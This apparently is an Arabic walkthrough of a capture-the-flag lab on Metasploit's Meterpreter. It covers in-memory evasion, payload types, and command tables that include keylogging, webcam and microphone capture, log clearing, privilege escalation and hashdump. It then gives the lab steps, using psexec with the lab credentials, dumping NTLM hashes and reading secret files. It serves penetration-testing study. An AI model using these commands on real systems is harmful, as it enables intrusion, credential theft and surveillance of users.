- Task 1
كيفية عمل Meterpreter :
- تشغيل Meterpreter على النظام المستهدف دون تثبيت دائم :
- يتم تشغيل Meterpreter على النظام المستهدف كوكيل.
- لا يتم تثبيته على القرص الصلب الخاص بالنظام المستهدف بشكل دائم.
- تشغيله في الذاكرة :
- Meterpreter يعمل في الذاكرة (RAM) دون الكتابة على القرص الصلب.
- هذا التصميم يهدف إلى تجنب اكتشافه أثناء عمليات فحص برامج مكافحة الفيروسات.
- استخدام التواصل المشفر:
- عدم وجود ملف ظاهر على القرص:
- Meterpreter لا يترك ملفًا ظاهرًا على النظام المستهدف، مما يجعله أمرًا صعبًا للكشف عنه.
- التمويه:
- على الرغم من أن Meterpreter معروف لبرامج مكافحة الفيروسات، إلا أنها توفر درجة من التمويه من خلال هذه الإجراءات.
- استخدام معرّفات العملية:
- يتم تخصيص معرف عملية (PID) لـ Meterpreter على النظام المستهدف.
- هذا المعرف يستخدم للتفاعل مع العملية عند الحاجة، مما يساعد في إدارة عمليات الاختراق.
- Task 2
- مكملات مرحلية (Staged payloads) : تُرسل إلى الهدف في خطوتين. يتم تثبيت الجزء الأول (الـ “stager”) ومن ثم يُطلب الجزء الثاني من ال payloads . هذا يُمكن من استخدام حجم أولي أصغر.
- مكملات متوالية (Inline payloads): تُرسل إلى الهدف في خطوة واحدة دون تقسيم.
- يشير النص إلى ضرورة اختيار الإصدار بناءً على ثلاثة عوامل:
- نظام التشغيل المستهدف (مثل Linux أو Windows أو Mac أو Android).
- المكونات المتاحة على النظام المستهدف (مثل توافر Python أو استخدام موقع ويب PHP).
- أنواع اتصال الشبكة الممكنة مع النظام المستهدف (مثل TCP أو HTTPS أو IPv6).
- Task 3
كود:
Core commands
File system commands
Networking commands
System commands
User interface commands
Webcam commands
Audio output commands
Elevate commands
Password database commands
Timestomp commandsالأوامر الأساسية (Core Commands) :
| الأمر | الوصف |
|---|---|
| ? | عرض قائمة المساعدة |
| background | نقل الجلسة الحالية إلى الخلفية |
| exit | إنهاء جلسة Meterpreter |
| guid | الحصول على معرف GUID للجلسة |
| help | عرض قائمة المساعدة |
| info | عرض معلومات حول وحدة Post |
| irb | فتح واجهة Ruby التفاعلية في الجلسة الحالية |
| load | تحميل ملحقات Meterpreter |
| migrate | نقل Meterpreter إلى عملية أخرى |
| run | تنفيذ سكريبت Meterpreter أو وحدة Post |
| sessions | التبديل بسرعة إلى جلسة أخرى |
| الأمر | الوصف |
|---|---|
| cd | تغيير الدليل |
| ls | عرض قائمة الملفات في الدليل الحالي |
| pwd | عرض المسار الحالي |
| edit | تحرير ملف |
| cat | عرض محتوى ملف |
| rm | حذف ملف أو مجلد |
| search | البحث عن ملفات |
| upload | رفع ملف أو مجلد |
| download | تنزيل ملف أو مجلد |
| الأمر | الوصف |
|---|---|
| arp | عرض جدول ARP (Address Resolution Protocol) |
| ifconfig | عرض واجهات الشبكة المتاحة على النظام الهدف |
| netstat | عرض اتصالات الشبكة |
| portfwd | توجيه منفذ محلي إلى خدمة بعيدة |
| route | عرض وتعديل جدول التوجيه |
| الأمر | الوصف |
|---|---|
| clearev | مسح سجلات الأحداث (Event Logs) |
| execute | تنفيذ أمر |
| getpid | عرض معرف العملية الحالية |
| getuid | عرض المستخدم الذي يعمل Meterpreter به |
| kill | إنهاء عملية |
| pkill | إنهاء عمليات بالاسم |
| ps | عرض عمليات تعمل حالياً |
| reboot | إعادة تشغيل الكمبيوتر عن بعد |
| shell | الانتقال إلى وضع الشل (Command Shell) |
| shutdown | إيقاف تشغيل الكمبيوتر عن بعد |
| sysinfo | الحصول على معلومات حول النظام الهدف مثل نظام التشغيل |
| الأمر | الوصف |
|---|---|
| idletime | يُعيد عدد الثواني التي كان فيها المستخدم على الجهاز عديم النشاط |
| keyscan_dump | يُفرغ مخزن ضغطات المفاتيح (Keylogger) |
| keyscan_start | يبدأ بالتقاط ضغطات المفاتيح |
| keyscan_stop | يتوقف عن التقاط ضغطات المفاتيح |
| screenshare | يسمح لك بمشاهدة سطح مكتب المستخدم على الجهاز على الفور في الوقت الحقيقي |
| screenshot | يلتقط لقطة شاشة لسطح المكتب التفاعلي |
| record_mic | يسجل الصوت من الميكروفون الافتراضي لعدد من الثواني (X ثواني) |
| webcam_chat | يبدأ محادثة فيديو |
| webcam_list | يعرض قائمة بكاميرات الويب المتاحة |
| webcam_snap | يلتقط لقطة من كاميرا الويب المحددة |
| webcam_stream | يشغل تيار فيديو من كاميرا الويب المحددة |
| getsystem | يحاول رفع امتيازك إلى مستوى النظام المحلي (Local System) |
| hashdump | يفرغ محتويات قاعدة بيانات SAM (Security Account Manager) |
Module Commands
| الأمر | الوصف |
|---|---|
| advanced | عرض الخيارات المتقدمة لوحدة أو أكثر من الوحدات |
| back | الانتقال إلى الخلف من السياق الحالي |
| clearm | مسح مكدس الوحدة |
| favorite | إضافة وحدة أو وحدات إلى قائمة الوحدات المفضلة |
| favorites | عرض قائمة الوحدات المفضلة (الاختصار لـ show favorites) |
| info | عرض معلومات حول وحدة أو أكثر من الوحدات |
| listm | عرض مكدس الوحدة |
| loadpath | البحث عن وتحميل الوحدات من مسار |
| options | عرض الخيارات العامة أو لوحدة أو أكثر من الوحدات |
| popm | استخراج أحدث وحدة من مكدس الوحدة وجعلها نشطة |
| previous | تعيين الوحدة المحملة مسبقًا كوحدة حالية |
| pushm | دفع الوحدة النشطة أو قائمة الوحدات إلى مكدس الوحدة |
| reload_all | إعادة تحميل جميع الوحدات من جميع مسارات الوحدات المحددة |
| search | البحث في أسماء ووصف الوحدات |
| show | عرض وحدات من نوع معين أو جميع الوحدات |
| use | التفاعل مع وحدة باستخدام الاسم أو مصطلح البحث/الفهرس |
| الأمر | الوصف |
|---|---|
| handler | بدء معالج الحمولة كوظيفة |
| jobs | عرض وإدارة الوظائف |
| kill | قتل وظيفة |
| rename_job | إعادة تسمية وظيفة |
| الأمر | الوصف |
|---|---|
| makerc | حفظ الأوامر المدخلة منذ البداية في ملف |
| resource | تنفيذ الأوامر المخزنة في ملف |
| الأمر | الوصف |
|---|---|
| analyze | تحليل معلومات قاعدة البيانات حول عنوان أو مجموعة عناوين معينة |
| db_connect | الاتصال بخدمة بيانات موجودة |
| db_disconnect | الاتصال بخدمة بيانات حالية |
| db_export | تصدير ملف يحتوي على محتويات قاعدة البيانات |
| db_import | استيراد ملف نتيجة فحص (سيتم اكتشاف نوع الملف تلقائيًا) |
| db_nmap | تنفيذ Nmap وتسجيل الإخراج تلقائيًا |
| db_rebuild_cache | إعادة بناء ذاكرة التخزين المؤقت للوحدة في قاعدة البيانات (تم تجاوزها) |
| db_remove | إزالة إدخال خدمة البيانات المحفوظة |
| db_save | حفظ اتصال خدمة البيانات الحالي كافتراضي لإعادة الاتصال عند بدء التشغيل |
| db_status | عرض حالة خدمة قاعدة البيانات الحالية |
| hosts | عرض جميع الأجهزة في قاعدة البيانات |
| klist | عرض قائمة تذاكر Kerberos في قاعدة البيانات |
| loot | عرض جميع النفع في قاعدة البيانات |
| notes | عرض جميع الملاحظات في قاعدة البيانات |
| services | عرض جميع الخدمات في قاعدة البيانات |
| vulns | عرض جميع الثغرات في قاعدة البيانات |
| workspace | التبديل بين مساحات العمل في قاعدة البيانات |
- Task 4
المساعدة (Help) :
يساعدك في تصفح الأوامر بسرعة بعد الحصول على جلسة.
- يعرض هوية المستخدم الذي يعمل به Meterpreter حاليا ويقدم الصلاحيات الحاليه.
يعرض العمليات الجارية على النظام ويوفر معلومات (PID) .
يساعد في التفاعل مع عمليه اخرى على النظام و يمكن استخدامه للتقاط الضغطات على اللوحه المفاتيح.
تحذير ب فقدان الصلاحيات (Privilege Loss) :
إذا كنت تعمل في جلسة Meterpreter بصلاحيات مرتفعة، مثل صلاحيات مستخدم SYSTEM، وقررت الهجرة إلى عملية تم إطلاقها بصلاحيات منخفضة، مثل خادم ويب (webserver)، فإنك قد تفقد الصلاحيات العالية التي كنت تمتلكها. هذا يعني أنك لن تكون قادرا على تنفيذ الأوامر بصلاحيات مرتفعة بعد الهجرة.
استخراج كلمات المرور (Hashdump) :
يستخدم لعرض محتوى قاعدة بيانات SAM
ويشير إلى أن كلمات المرور المعروضة مخزنة بتنسيق NTLM.
وتستخدم في هجمات Pass-the-Hash
يستخدم للبحث عن ملفات تحتوي على معلومات هامه مثل كلمات سر …الخ .
يشغل واجهة سطر الأوامر القياسية على النظام الهدف.
يسمح بتنفيذ أوامر النظام على الهدف.
- Task 5
ويتحدث عن مرحلة ما بعد الاختراق لها أهداف متعددة، وMeterpreter توفر وظائف يمكن أن تساعد في تحقيقها:
- جمع معلومات إضافية عن النظام المستهدف : تستخدم للحصول على مزيد من المعلومات حول النظام الهدف.
- البحث عن ملفات مثيرة للاهتمام وبيانات المستخدمين وواجهات الشبكة الإضافية: يمكن استخدامها للبحث عن ملفات مهمة أو بيانات تسجيل الدخول للمستخدمين أو واجهات الشبكة الإضافية ومعلومات أخرى مثيرة للاهتمام على النظام المستهدف.
- زيادة الامتيازات : تُستخدم لزيادة صلاحيات المستخدم للوصول إلى مزيد من المعلومات أو الوظائف.
- التحرك داخل النظام الهدف : تساعد في الانتقال بين أنظمة الشبكة الداخلية لاستكشاف الأهداف الأخرى وتوسيع الهجوم.
على سبيل المثال، إذا قمت بتحميل وحدة Kiwi باستخدام الأمر “load kiwi”، ستظهر أوامر جديدة تخص هذه الوحدة في القائمة.
بعد تشغيل المشين والتأكد من ان ال vpn شغال نفتح التيرمينال ونكتب msfconsole لفتح ميتا سبلويت
ثم نكنتب الامر use exploit/windows/smb/psexec
Username
عن طريق الامر set SMBUser ballen
Password
عن طريق الامر set SMBPass Password1
RHOSTS
عن طريق الامر set RHOSTS ( ip )
ما هو اسم الكمبيوتر؟
يمكن المعرفه بأكثر من طريقه
- عن طريق ال shell
نكتب الامر التالي shell
ثم نكتب الامر التالي %echo %computername
عن طريق كتابه الامر التالي sysinfo تم ذكره سابقاً
:triangular_flag_on_post:Task 5-1
معنى السؤال الثاني
ما هو المجال المستهدف؟
يمكنك ان تجده ايضا عن طريق الامر السابق sysinfo
:triangular_flag_on_post:Task 5-2
معنى السؤال الثالث
ما هو اسم المشاركة التي من المحتمل أن يقوم المستخدم بإنشائها؟
يجب ان نضع الاتصال بالخلفيه عن طريق Control + Z
نجد post/windows/gather/enum_shares
نكتب الامر sessions -i 1 لنرجع الى الجلسه
معنى السؤال الرابع
ما هو تجزئة NTLM لمستخدم jchambers؟
يمكن معرفه عن طريق امر hashdump الذي اخذناه سابقاً
معنى السؤال الخامس
ما هي كلمة المرور ذات النص الواضح لمستخدم jchambers؟
يمكن الذهاب الى موقع hashes
ووضع الهاش
:triangular_flag_on_post:Task 5-5
معنى السؤال السادس
أين يوجد ملف “secrets.txt”؟
يمكن البحث عنه عن طريق امر search -f secrets.txt
معنى السؤال السابع
ما هي كلمة مرور تويتر التي تم الكشف عنها في ملف “secrets.txt”؟
يمكن عرض ما بداخل الملف عن طريق امر
cat “c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt”
معنى السؤال الثامن
أين يوجد ملف “realsecret.txt”؟
يمكن البحث عنه عن طريق امر search -f realsecret.txt
معنى السؤال التاسع
ما هو السر الحقيقي؟( يقصد الذي بداخل الملف )
يمكن عرض ما بداخل الملف عن طريق امر "cat "c:\inetpub\wwwroot\realsecret.txt
المرفقات
التعديل الأخير:
